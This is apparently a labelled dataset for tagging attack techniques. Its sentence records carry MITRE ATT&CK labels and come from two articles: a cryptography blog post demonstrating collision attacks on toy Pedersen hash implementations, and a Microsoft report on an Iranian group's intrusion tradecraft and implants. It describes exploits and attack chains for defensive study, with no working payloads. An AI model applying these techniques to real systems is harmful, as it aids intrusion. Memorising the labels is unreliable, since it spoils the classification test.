{"sentence": "G. We have b ⋅ G = b0 ⋅ G + 2b1 ⋅ G + 22b2 ⋅ G + 23b3 ⋅ G + 24b4 ⋅ G + 25b5 ⋅ G= (b0 + 2b1 + 22b2) ⋅ G + 23 (b3 + 2b4 + 22b5)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "⋅ G Since the quantities in the parentheses can take any value in the {0, 7} range, one can precompute the eight values in the set {0, G, 2 ⋅ G, 3 ⋅ G, …, 7 ⋅ G} and perform a variant of a double-and-add algorithm, where at each step the doubling operation is repeated 3 times, and the adding operation involves adding one element from the pre-computed set.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This variant uses the same amount of doubling operation as the standard binary double-and-add algorithm, but it uses fewer point additions (which are generally slower than doubling).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Pushing the optimizations even further, the Zcash team decided to use a signed version of the windowed-multiplication method.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Specifically, they use a windowed scalar multiplication with an encoding where 3-bit chunks are mapped to elements of the range {-4, …, 4} {0}, instead of the range {0, …, 7}.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Nothing forces alternative implementations of the Pedersen Hash to follow the exact same encoding rules, though in practice many do.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The encoding function ⟨⋅⟩ defined in the Zcash protocol maps element binary strings of fixed length 3 ⋅ c to a scalar as follows: where in turn, the enc() function maps 3-bit chunks m", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "= b0 b1 b2 into elements of the range {-4, …, 4} {0} as This choice of using a signed-digit windowed-multiplication method reduces the number of constraints necessary in the arithmetic circuit (since the lookup of the negation of a point can be performed efficiently as negating a point only requires a single constraint).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "As discussed above, the security of Pedersen hash is guaranteed provided the encoding scheme is injective.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Using such a signed representation introduces a few subtleties that should be kept in check in order to ensure the collision-resistance of the hash function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The Zcash team proved (in Theorem 5.4.1.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "on page 78 of the protocol specifications, see [Zcash]) that the encoding function is indeed injective and thus provides the desired collision-resistance.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "They did so by showing that the range of the encoding function ⟨⋅⟩ was a subset of the range , with the group order.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This ensures that there is no overflow of the scalar multiplier that would be “wrapped-around”, which would lead to multiple inputs mapping to the same output, a break of the injectivity requirement.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "They also ensured that the coordinate extraction procedure couldn’t lead to the issue described above where both a point and its negation could be obtained as the output of the hash procedure, which could be problematic when using the first-coordinate as the hash output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This is described in Section 5.4.9.4 of the Zcash protocol specification [Zcash], where Lemma 5.4.7 shows that if a given point P = (u, v) is on the curve, then (u, -v) is not on the curve, thereby preventing the potential issue outlined.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Note the importance of restricting 0 in the output range of the encoding function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "If the zero scalar could be obtained, the result of the scalar multiplication would be the point-at-infinity, which could lead to unexpected issues when trying to use that result.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Now that we have a better understanding of the Pedersen hash and its security, let’s look at some of the attacks that apply if one were to overlook some of the requirements described so far.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Vulnerability 1: Non-unique x-coordinate In this first vulnerability example, we show how implementations blindly using the x-coordinate of the hash output could lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Instead of using our toy “identity” encoding, we employ Zcash’s signed-digit encoding, which maps bit strings to a range of positive and negative integers centred around 0.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Recall that on a curve in Weierstrass form, the negation of a point P = (x, y) is -P = (x, -y).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Considering only the x-coordinate, a collision in the hash function output occurs when two messages result in the pair of points only differing in sign.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "By using our toy Pedersen hash example, given a message M whose hash is equal to H(M) = H(M1 M2) = ⟨M1⟩ ⋅ G1 + ⟨M2⟩ ⋅ G2, the colliding message M’ is computed such that H(M’)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "= ⟨M1‘⟩ ⋅ G1 + ⟨M2‘⟩ ⋅ G2 = – H(M) = – (⟨M1⟩ ⋅ G1 + ⟨M2⟩ ⋅ G2)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G1 – ⟨M2⟩ ⋅ G2 Hence, to compute a collision for a message M, we have to find the message M′ such that the encoding of the chunks of M′ correspond to the negation of the respective encoded chunks of M, namely ⟨M1′⟩ = −⟨M1⟩ and ⟨M2′⟩ = −⟨M2⟩. This is straightforward to perform when using Zcash’s encoding scheme, since the third bit of every 3-bit window encoded by the enc() function determines the sign of the output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Hence, given a message hash H(M), the message M’ crafted by flipping every third bit of M produces a hash output equal to the negation of H(M), which coincide in their x-coordinate.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The code snippet below illustrates this.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# ========================================== # # Vulnerability 1 - Non-unique x-coordinate # # ========================================== # H = ZcashPedersenHash(message) print(f\"Zcash's Hash of {message} = {H}\") # Zcash's Hash of ['010101', '000111'] = (83 : 83 : 1) colliding_message = [\"011100\", \"001110\"] H2 = ZcashPedersenHash(colliding_message) assert H[0] == H2[0] assert message !", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "= colliding_message Note that this could also happen if using the “identity” encoding used initially in our toy example if we allowed the size of the message chunk range to exceed half the group order.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "It is important to repeat that Zcash’s implementation is not susceptible to this issue due to their curve and coordinate choice.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Vulnerability 2: Related Generators Recall that the original definition requires the generators to be sampled randomly, such that their discrete logarithm with respect to a common generator (or to each other) shall not be known.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In practice, standards have been developed for that purpose, see hash-to-curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Using our toy example, let’s see how an adversary could break the collision-resistance of the hash function if they knew the discrete logarithm of one of the generators with respect to the other one.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Consider the continuation of our example with the two generators G1 = E(1, 60) and G2 = E(2, 59), but with the additional knowledge that G2 = 35 ⋅ G1.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Using Zcash’s encoding rules, hashing the message we’ve been using so far, and running our toy example implementation, we can proceed as follows: # ======================================= # # Vulnerability 2 - Related Generators # # ======================================= # #", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We know the discrete logarithm of G2 with respect to G1 assert 35 * G1 == G2 message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[42, 56] encoded_message = EncodeMessage(message, ZcashEncode) print(f\"Encoded Message: {encoded_message}\") # Encoded Message:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[-29, -63] H = ZcashPedersenHash(message) assert 129 * G1 == H Since the encoding of our message using Zcash’s encoding function is [-29, -63], the hash of this message corresponds to the linear combination H(M) = −29 ⋅ G1 − 63 ⋅ G2 However, since we know that G2 = 35 ⋅ G1, we can rewrite the previous equation as H(M) = −29 ⋅ G1 − 63 ⋅ 35 ⋅ G1 = −2234 ⋅ G1 = 129 ⋅ G1 since -2234 is equal to 129 modulo the group order, 139.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Thus, in order to find a collision, we can simply work in the scalar field and find a solution to the equation ⟨M1⟩", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "+ 35 ⋅ ⟨M2⟩ ≡ 129 mod 139.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "One can see the previous equation holds for ⟨M1⟩ = 17 and ⟨M2⟩ = 31.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Since Zcash’s encoding is injective, one can decode these values and obtain M1 = \"000000\", M2 = \"001100\", which collides with the original message, as shown below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# We need to find a message M' = M1' || M2' such that # <M1'>", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "+ 35*<M2'> = (-29 -35*63 ) = 129 mod 139 H2 = GenericPedersenHash(GENERATORS, [17, 31]) assert H == H2 H3 = ZcashPedersenHash([\"000000\", \"001100\"]) assert H == H3", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This shows how important it is that the generators be sampled in such a way that no ones knows the discrete logarithm of one with respect to the other one, not even the hash function designers.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Vulnerability 3: Variable-length Input While implementations usually set a fixed upper bound to the size of the input that can be hashed, they also sometimes accept arbitrary-long (or short) inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Zcash’s definition of Pedersen hash is unequivocal regarding the collision-resistance of the hash function when using variable-length input, as stated on page 78 of [Zcash]: These hash functions are not collision-resistant for variable-length inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "One reason why allowing inputs of different sizes to be hashed may result in collisions is that padding is applied to the inputs prior to encoding them.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This padding step is sometimes explicit, for example as described in the Zcash protocol specification [Zcash], where the definition of PedersenHashToPoint on page 78 specifies the following padding scheme.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Pad to a multiple of 3 bits by appending zero bits, giving ′.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "But this padding step may also be implicit, such as when using the “identity” encoding and hashing messages of unexpected lengths.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In that case, the missing or superfluous bits would simply be interpreted as zeros.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We illustrate the issue with our toy example.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In the following code snippet, we see how we can craft a message colliding with msg by trimming or appending zero bits at the end of the message.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# ======================================== # # Vulnerability 3 - Variable-length Input # # ======================================== # message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[\"010101\", \"111000\"] colliding_message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[message[0] + \"000\", message[1][:3]] print(f\"Colliding Message: {colliding_message}\")", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# Colliding Message:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "['010101000', '111'] assert PedersenHash(colliding_message) == PedersenHash(message)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In addition to issues that are exclusively related to padding, the ability to hash larger messages may break injectivity of the function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The toy example in the Definition section also illustrated how hashing messages larger than the expected size may lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Conclusion While the Pedersen hash function has many desirable advantages due to its simplicity, efficiency in arithmetic circuits, and the known security assumption it relies on, it is also susceptible to many pitfalls.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Specifically, implementations adapting the Zcash approach but on different curves or with different encoding schemes may result in fragile constructions vulnerable to subtle issues, as illustrated in this blog post.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The source code is located at https://github.com/ncc-pbottine/ToyPedersenHash/. Acknowledgements The author would like to thank Kevin Henry, Aleksandar Kircanski and Giacomo Pope of NCC Group’s Cryptography Services team for their diligent review of this post and Daniele Di Benedetto from Horizen Labs for having drawn our attention to some of the interesting problems described in this blog post.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "All remaining inaccuracies are the sole responsibility of the author.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "References [Zcash]: Daira Hopwood, Sean Bowe, Taylor Hornby, Nathan Wilcox.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Zcash Protocol Specification Version 2022.3.8", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[NU5].", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "September 15, 2022.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "URL: https://zips.z.cash/protocol/protocol.pdf.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[CHP91]: David Chaum, Eugène van Heijst, and Birgit Pfitzmann.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Cryptographically Strong Undeniable Signatures, Unconditionally Secure for the Signer.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "February 1991.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "URL: https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.34.8570.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[Ped91]: Pedersen, T.P. Non-Interactive and Information-Theoretic Secure Verifiable Secret Sharing. 1991.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "URL:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "https://doi.org/10.1007/3-540-46766-1_9", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Over the past several months, Microsoft has observed a mature subgroup of Mint Sandstorm, an Iranian nation-state actor previously tracked as PHOSPHORUS, refining its tactics, techniques, and procedures (TTPs).", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Specifically, this subset has rapidly weaponized N-day vulnerabilities in common enterprise applications and conducted highly-targeted phishing campaigns to quickly and successfully access environments of interest.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This Mint Sandstorm subgroup has also continued to develop and use custom tooling in selected targets, notably organizations in the energy and transportation sectors.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Given this subgroup’s capabilities, the profile of past targets, and the potential for cascading effects, Microsoft is publishing details on known tradecraft alongside corresponding detections and mitigations to help organizations protect against this and similar threats.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Who is Mint Sandstorm? Mint Sandstorm is Microsoft’s new name for PHOSPHORUS, an Iranian nation-state actor.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This new name is part of the new threat actor naming taxonomy we announced today, designed to keep pace with the evolving and growing threat landscape.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Mint Sandstorm is known to pursue targets in both the private and public sectors, including political dissidents, activist leaders, the Defense Industrial Base (DIB), journalists, and employees from multiple government agencies, including individuals protesting oppressive regimes in the Middle East.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Activity Microsoft tracks as part of the larger Mint Sandstorm group overlaps with public reporting on groups known as APT35, APT42, Charming Kitten, and TA453.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Mint Sandstorm is a composite name used to describe several subgroups of activity with ties to the same organizational structure.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft assesses that Mint Sandstorm is associated with an intelligence arm of Iran’s military, the Islamic Revolutionary Guard Corps (IRGC), an assessment that has been corroborated by multiple credible sources including Mandiant, Proofpoint, and SecureWorks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In 2022, the US Department of Treasury sanctioned elements of Mint Sandstorm for past cyberattacks citing sponsorship from the IRGC.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Today, Microsoft is reporting on a distinct Mint Sandstorm subgroup that specializes in hacking into and stealing sensitive information from high-value targets.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This Mint Sandstorm subgroup is technically and operationally mature, capable of developing bespoke tooling and quickly weaponizing N-day vulnerabilities, and has demonstrated agility in its operational focus, which appears to align with Iran’s national priorities.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft Threat Intelligence consistently tracks threat actor activity, including Mint Sandstorm and its subgroups, and works across Microsoft Security products and services to build detections into our products that improve protection for customers.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "As with any observed nation state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft is sharing details on these operations to raise awareness on the risks associated with their activity and to empower organizations to harden their attack surfaces against tradecraft commonly used by this Mint Sandstorm subgroup.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Recent operations From late 2021 to mid-2022, this Mint Sandstorm subgroup moved from reconnaissance to direct targeting of US critical infrastructure including seaports, energy companies, transit systems, and a major US utility and gas entity potentially in support of retaliatory destructive cyberattacks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This targeting was likely in response to Iran’s attribution of cyberattacks that halted maritime traffic at a major Iranian seaport in May 2020, delayed Iranian trains in July 2021, and crashed gas station payment systems throughout Iran in late 2021.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Of note, a senior cybersecurity-focused IRGC official and others close to the Iranian Supreme Leader pinned the attack affecting gas station payment systems on Israel and the United States.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This targeting also coincided with a broader increase in the pace and the scope of cyberattacks attributed to Iranian threat actors, including another Mint Sandstorm subgroup, that Microsoft observed beginning in September 2021.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The increased aggression of Iranian threat actors appeared to correlate with other moves by the Iranian regime under a new national security apparatus, suggesting such groups are less bounded in their operations.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Given the hardline consensus among policymakers in Tehran and sanctions previously levied on Iran’s security organizations, Mint Sandstorm subgroups may be less constrained in carrying out malicious cyber activity.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Mint Sandstorm tradecraft Microsoft has observed multiple attack chains and various tools in compromises involving this Mint Sandstorm subgroup.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The TTPs detailed below area sampling of new or otherwise notable tradecraft used by this actor.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Rapid adoption of publicly disclosed POCs for initial access and persistence Microsoft has increasingly observed this Mint Sandstorm subgroup adopting publicly disclosed proof-of-concept (POC) code shortly after it is released to exploit vulnerabilities in internet-facing applications.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Until 2023, this subgroup had been slow to adopt exploits for recently-disclosed vulnerabilities with publicly reported POCs, often taking several weeks to successfully weaponize exploits for vulnerabilities like Proxyshell and Log4Shell.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "However, beginning in early 2023, Microsoft observed a notable decrease in the time required for this subgroup to adopt and incorporate public POCs.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "For example, Mint Sandstorm began exploiting CVE-2022-47966 in Zoho ManageEngine on January 19, 2023, the same day the POC became public.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "They later exploited CVE-2022-47986 in Aspera Faspex within five days of the POC being made public on February 2, 2023.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "While this subgroup has demonstrated their ability to rapidly incorporate new public POCs into their playbooks, Microsoft has also observed that Mint Sandstorm continues to use older vulnerabilities, especially Log4Shell, to compromise unpatched devices.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "As this activity is typically opportunistic and indiscriminate, Microsoft recommends that organizations regularly patch vulnerabilities with publicly available POCs, regardless of how long the POC has been available.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "After gaining initial access to an organization by exploiting a vulnerability with a public POC, this Mint Sandstorm subgroup deploys a custom PowerShell script designed for discovery.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In some cases, the subgroup does not act on the information they collect, possibly because they assess that a victim does not meet any targeting requirements or because the subgroup wishes to wait and focus on more valuable targets.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In cases where Mint Sandstorm operators continue their pursuit of a given target, Microsoft typically observes one of two possible attack chains.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The two attack chains used by the Mint Sandstorm subgroup Attack chain 1: The Mint Sandstorm subgroup proceeds using Impacket to move laterally through a compromised organization and relies extensively on PowerShell scripts (rather than custom implants) to enumerate admin accounts and enable RDP connections.", "labels": ["T1021.001"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In this attack chain, the subgroup uses an SSH tunnel for command and control (C2), and the final objective in many cases is theft of the Active Directory database.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "If obtained, the Mint Sandstorm subgroup can use the Active Directory database to access credentials for users’ accounts.", "labels": ["T1078"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In cases where users’ credentials are accessed and the target organization has not reset corresponding passwords, the actors can log in with stolen credentials and masquerade as legitimate users, possibly without attracting attention from defenders.", "labels": ["T1078"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The actors could also gain access to other systems where individuals may have reused their passwords.", "labels": ["T1078"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Attack chain 2: As is the case in attack chain 1, the Mint Sandstorm subgroup uses Impacket to move laterally.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "However, in this progression, the operators use webhook.site for C2 and create scheduled tasks for persistence.", "labels": ["T1053.005"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Finally, in this attack chain, the actors deploy a custom malware variant, such as Drokbk or Soldier.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "These custom malware variants signal an increase in the subgroup’s level of sophistication, as they shift from using publicly available tools and simple scripts to deploying fully custom developed malicious code.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Use of custom tools to evade detection", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Since 2022,Microsoft has observed this Mint Sandstorm subgroup using two custom implants, detected by Microsoft security products as Drokbk and Soldier, to persist in target environments and deploy additional tools.", "labels": ["T1105"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Drobkbk and Soldier both use Mint Sandstorm-controlled GitHub repositories to host a domain rotator containing the operators’ C2 domains.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This allows Mint Sandstorm to dynamically update their C2 infrastructure, which may help the operators stay a step ahead of defenders using list-based domain blocking.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Drokbk: Drokbk.exe is a custom .NET implant with two components: an installer, sometimes accessed from a compressed archive on a legitimate file-sharing platform, and a secondary backdoor payload.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The Drokbk backdoor issues a web request to obtain the contents of a README file on a Mint Sandstorm-controlled GitHub repo.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The README file contains a list of URLs that direct targets to the C2 infrastructure associated with Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Soldier: Soldier is a multistage .NET backdoor with the ability to download and run additional tools and uninstall itself.", "labels": ["T1105"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Like Drokbk, Soldier C2 infrastructure is stored on a domain rotator on a GitHub repository operated by Mint Sandstorm.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft Threat Intelligence analysts assess that Soldier is a more sophisticated variant of Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In certain cases, this Mint Sandstorm subgroup has used TTPs outside of these attack chains, notably when they have failed to achieve short-term objectives.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In one instance, Microsoft also observed the subgroup using TTPs from both attack chains in a single compromised environment.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "However, in most cases, Mint Sandstorm activity displays one of the above discussed attack chains.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Low-volume phishing campaigns using template injection Microsoft has also observed this Mint Sandstorm subgroup using a distinct attack chain involving low-volume phishing campaigns and a third custom implant.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In these operations, the group crafts bespoke phishing emails, often purporting to contain information on security policies that affect countries in the Middle East, to deliver weaponized documents to individuals of interest.", "labels": ["T1566.001"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Recipients are typically individuals affiliated with high-profile think tanks or universities in Israel, North America, or Europe with ties to the security and policy communities.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Unlike their initial exploitation of vulnerable internet-facing applications, which is largely indiscriminate and affects organizations across sectors and geographies, activity associated with this campaign was highly targeted and affected fewer than 10 organizations..", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The initial emails are most commonly lures designed to social engineer recipients into clicking a OneDrive link hosting a PDF spoofed to resemble information on a topic involving security or policy in the Middle East.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The PDF contains a link to a macro-enabled template file (dotm) hosted on Dropbox.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This file has been weaponized with macros to perform remote template injection, a technique that allows operators to obtain and launch a payload from a remote C2, often OneDrive.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
